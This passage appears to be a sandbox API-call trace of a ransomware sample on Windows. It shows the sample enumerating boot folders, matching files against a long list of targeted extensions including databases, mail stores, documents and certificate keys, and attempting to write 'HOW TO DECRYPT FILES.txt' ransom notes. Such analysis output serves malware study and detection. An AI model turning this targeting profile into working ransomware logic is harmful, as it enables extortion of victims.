lpOverlapped=0x0) returned 0 [0124.967] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0124.967] CloseHandle (hObject=0xffffffff) returned 0 [0124.967] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="bootmgfw.efi" | out: lpString1="C:\\Windows\\Boot\\EFI\\bootmgfw.efi") returned="C:\\Windows\\Boot\\EFI\\bootmgfw.efi" [0124.967] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.ems") returned 0 [0124.967] lstrlenA (lpString="*.ems") returned 5 [0124.967] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.db") returned 0 [0124.967] lstrlenA (lpString="*.db") returned 4 [0124.968] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.dbf") returned 0 [0124.968] lstrlenA (lpString="*.dbf") returned 5 [0124.968] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.myox") returned 0 [0124.968] lstrlenA (lpString="*.myox") returned 6 [0124.968] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.myo") returned 0 [0124.968] lstrlenA (lpString="*.myo") returned 5 [0124.968] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.qbw") returned 0 [0124.968] lstrlenA (lpString="*.qbw") returned 5 [0124.968] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.qbb") returned 0 [0124.968] lstrlenA (lpString="*.qbb") returned 5 [0124.968] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.qbm") returned 0 [0124.968] lstrlenA (lpString="*.qbm") returned 5 [0124.968] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.qbo") returned 0 [0124.968] lstrlenA (lpString="*.qbo") returned 5 [0124.968] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.qbx") returned 0 [0124.968] lstrlenA (lpString="*.qbx") returned 5 [0124.968] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.qba") returned 0 [0124.968] lstrlenA (lpString="*.qba") returned 5 [0124.968] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.qby") returned 0 [0124.968] lstrlenA (lpString="*.qby") returned 5 [0124.968] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.qbj") returned 0 [0124.968] lstrlenA (lpString="*.qbj") returned 5 [0124.969] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.ofx") returned 0 [0124.969] lstrlenA (lpString="*.ofx") returned 5 [0124.969] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.qif") returned 0 [0124.969] lstrlenA (lpString="*.qif") returned 5 [0124.969] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.mye") returned 0 [0124.969] lstrlenA (lpString="*.mye") returned 5 [0124.969] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.mbox") returned 0 [0124.969] lstrlenA (lpString="*.mbox") returned 6 [0124.969] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.eml") returned 0 [0124.969] lstrlenA (lpString="*.eml") returned 5 [0124.969] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.pst") returned 0 [0124.969] lstrlenA (lpString="*.pst") returned 5 [0124.969] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.ost") returned 0 [0124.969] lstrlenA (lpString="*.ost") returned 5 [0124.969] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.idx") returned 0 [0124.969] lstrlenA (lpString="*.idx") returned 5 [0124.969] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.dbx") returned 0 [0124.969] lstrlenA (lpString="*.dbx") returned 5 [0124.969] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.sql") returned 0 [0124.969] lstrlenA (lpString="*.sql") returned 5 [0124.969] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.mdb") returned 0 [0124.970] lstrlenA (lpString="*.mdb") returned 5 [0124.970] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.fdb") returned 0 [0124.970] lstrlenA (lpString="*.fdb") returned 5 [0124.970] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.wab") returned 0 [0124.970] lstrlenA (lpString="*.wab") returned 5 [0124.970] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.dat") returned 0 [0124.970] lstrlenA (lpString="*.dat") returned 5 [0124.970] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.txt") returned 0 [0124.970] lstrlenA (lpString="*.txt") returned 5 [0124.970] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.jpeg") returned 0 [0124.970] lstrlenA (lpString="*.jpeg") returned 6 [0124.970] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.jpg") returned 0 [0124.970] lstrlenA (lpString="*.jpg") returned 5 [0124.970] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.png") returned 0 [0124.970] lstrlenA (lpString="*.png") returned 5 [0124.970] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.php") returned 0 [0124.970] lstrlenA (lpString="*.php") returned 5 [0124.970] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.cs") returned 0 [0124.970] lstrlenA (lpString="*.cs") returned 4 [0124.970] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.cpp") returned 0 [0124.970] lstrlenA (lpString="*.cpp") returned 5 [0124.970] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.rar") returned 0 [0124.970] lstrlenA (lpString="*.rar") returned 5 [0124.970] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.zip") returned 0 [0124.971] lstrlenA (lpString="*.zip") returned 5 [0124.971] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.html") returned 0 [0124.971] lstrlenA (lpString="*.html") returned 6 [0124.971] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.htm") returned 0 [0124.971] lstrlenA (lpString="*.htm") returned 5 [0124.971] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.xlsx") returned 0 [0124.971] lstrlenA (lpString="*.xlsx") returned 6 [0124.971] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.xls") returned 0 [0124.971] lstrlenA (lpString="*.xls") returned 5 [0124.971] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.mp4") returned 0 [0124.971] lstrlenA (lpString="*.mp4") returned 5 [0124.971] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.ppt") returned 0 [0124.971] lstrlenA (lpString="*.ppt") returned 5 [0124.971] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.pptx") returned 0 [0124.971] lstrlenA (lpString="*.pptx") returned 6 [0124.971] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.doc") returned 0 [0124.971] lstrlenA (lpString="*.doc") returned 5 [0124.971] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.dot") returned 0 [0124.971] lstrlenA (lpString="*.dot") returned 5 [0124.971] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.docx") returned 0 [0124.971] lstrlenA (lpString="*.docx") returned 6 [0124.971] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.7z") returned 0 [0124.972] lstrlenA (lpString="*.7z") returned 4 [0124.972] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.tar") returned 0 [0124.972] lstrlenA (lpString="*.tar") returned 5 [0124.972] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.bz2") returned 0 [0124.972] lstrlenA (lpString="*.bz2") returned 5 [0124.972] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.gz") returned 0 [0124.972] lstrlenA (lpString="*.gz") returned 4 [0124.972] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.mkv") returned 0 [0124.972] lstrlenA (lpString="*.mkv") returned 5 [0124.972] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.eml") returned 0 [0124.972] lstrlenA (lpString="*.eml") returned 5 [0124.972] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.msg") returned 0 [0124.972] lstrlenA (lpString="*.msg") returned 5 [0124.972] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.edb") returned 0 [0124.972] lstrlenA (lpString="*.edb") returned 5 [0124.972] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.accdb") returned 0 [0124.972] lstrlenA (lpString="*.accdb") returned 7 [0124.972] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.odb") returned 0 [0124.972] lstrlenA (lpString="*.odb") returned 5 [0124.972] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.java") returned 0 [0124.973] lstrlenA (lpString="*.java") returned 6 [0124.973] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.asm") returned 0 [0124.973] lstrlenA (lpString="*.asm") returned 5 [0124.973] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.pfx") returned 0 [0124.973] lstrlenA (lpString="*.pfx") returned 5 [0124.973] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgfw.efi", pszSpec="*.pem") returned 0 [0124.973] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e12a8d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93e12a8d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93e38bed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3780, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi", cAlternateFileName="")) returned 1 [0124.973] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0124.973] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi") returned 1 [0124.973] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi") returned 1 [0124.973] lstrcmpiA (lpString1="", lpString2="bootmgr.efi") returned -1 [0124.973] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\bootmgfw.efi") returned="bootmgfw.efi" [0124.974] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\") returned="C:\\Windows\\Boot\\EFI\\" [0124.974] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\") returned="" [0124.974] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\HOW TO DECRYPT FILES.txt" [0124.974] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\how to decrypt files.txt")) returned 0xffffffff [0124.974] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.975] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0124.975] CloseHandle (hObject=0xffffffff) returned 0 [0124.975] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="bootmgr.efi" | out: lpString1="C:\\Windows\\Boot\\EFI\\bootmgr.efi") returned="C:\\Windows\\Boot\\EFI\\bootmgr.efi" [0124.975] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\bootmgr.efi", pszSpec="*.ems") returned 0 [0124.975] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0124.975] lstrcmpA (lpString1=".", lpString2="cs-CZ") returned -1 [0124.975] lstrcmpA (lpString1="..", lpString2="cs-CZ") returned -1 [0124.975] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\bootmgr.efi") returned="bootmgr.efi" [0124.975] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="cs-CZ" | out: lpString1="C:\\Windows\\Boot\\EFI\\cs-CZ") returned="C:\\Windows\\Boot\\EFI\\cs-CZ" [0124.976] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\cs-CZ\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502618 [0124.978] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.978] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0124.978] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.978] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.978] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2748b25, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2e92df2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7856af2c, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0124.978] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0124.978] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0124.978] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0124.978] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0124.978] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\cs-CZ\\*.*") returned="*.*" [0124.978] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\cs-CZ\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\cs-CZ\\") returned="C:\\Windows\\Boot\\EFI\\cs-CZ\\" [0124.978] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\cs-CZ\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\cs-CZ\\") returned="" [0124.978] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\cs-CZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\cs-CZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\cs-CZ\\HOW TO DECRYPT FILES.txt" [0124.978] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\cs-CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\cs-cz\\how to decrypt files.txt")) returned 0xffffffff [0124.979] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\cs-CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\cs-cz\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.979] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0124.979] CloseHandle (hObject=0xffffffff) returned 0 [0124.979] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\cs-CZ\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\cs-CZ\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\cs-CZ\\bootmgfw.efi.mui" [0124.979] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\cs-CZ\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0124.979] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c15437, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe835f704, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe835f704, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0124.979] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0124.979] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0124.980] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0124.980] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0124.980] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\cs-CZ\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0124.980] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\cs-CZ\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\cs-CZ\\") returned="C:\\Windows\\Boot\\EFI\\cs-CZ\\" [0124.980] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\cs-CZ\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\cs-CZ\\") returned="" [0124.980] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\cs-CZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\cs-CZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\cs-CZ\\HOW TO DECRYPT FILES.txt" [0124.980] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\cs-CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\cs-cz\\how to decrypt files.txt")) returned 0xffffffff [0124.980] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\cs-CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\cs-cz\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.980] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0124.980] CloseHandle (hObject=0xffffffff) returned 0 [0124.980] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\cs-CZ\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\cs-CZ\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\cs-CZ\\bootmgr.efi.mui" [0124.981] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\cs-CZ\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0124.981] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c15437, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe835f704, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe835f704, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0124.981] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.981] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0124.981] lstrcmpA (lpString1=".", lpString2="da-DK") returned -1 [0124.981] lstrcmpA (lpString1="..", lpString2="da-DK") returned -1 [0124.981] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0124.981] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="da-DK" | out: lpString1="C:\\Windows\\Boot\\EFI\\da-DK") returned="C:\\Windows\\Boot\\EFI\\da-DK" [0124.981] lstrlenA (lpString="C:\\Windows\\Boot\\EFI\\da-DK") returned 25 [0124.981] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\da-DK\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0124.982] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.982] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.982] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.982] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.982] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7dde493, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe84dc4a6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7856af2c, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15650, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0124.982] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0124.982] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0124.982] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0124.982] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0124.982] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\da-DK\\*.*") returned="*.*" [0124.982] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\da-DK\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\da-DK\\") returned="C:\\Windows\\Boot\\EFI\\da-DK\\" [0124.982] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\da-DK\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\da-DK\\") returned="" [0124.982] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\da-DK\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\da-DK\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\da-DK\\HOW TO DECRYPT FILES.txt" [0124.982] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\da-DK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\da-dk\\how to decrypt files.txt")) returned 0xffffffff [0124.982] CreateFileA 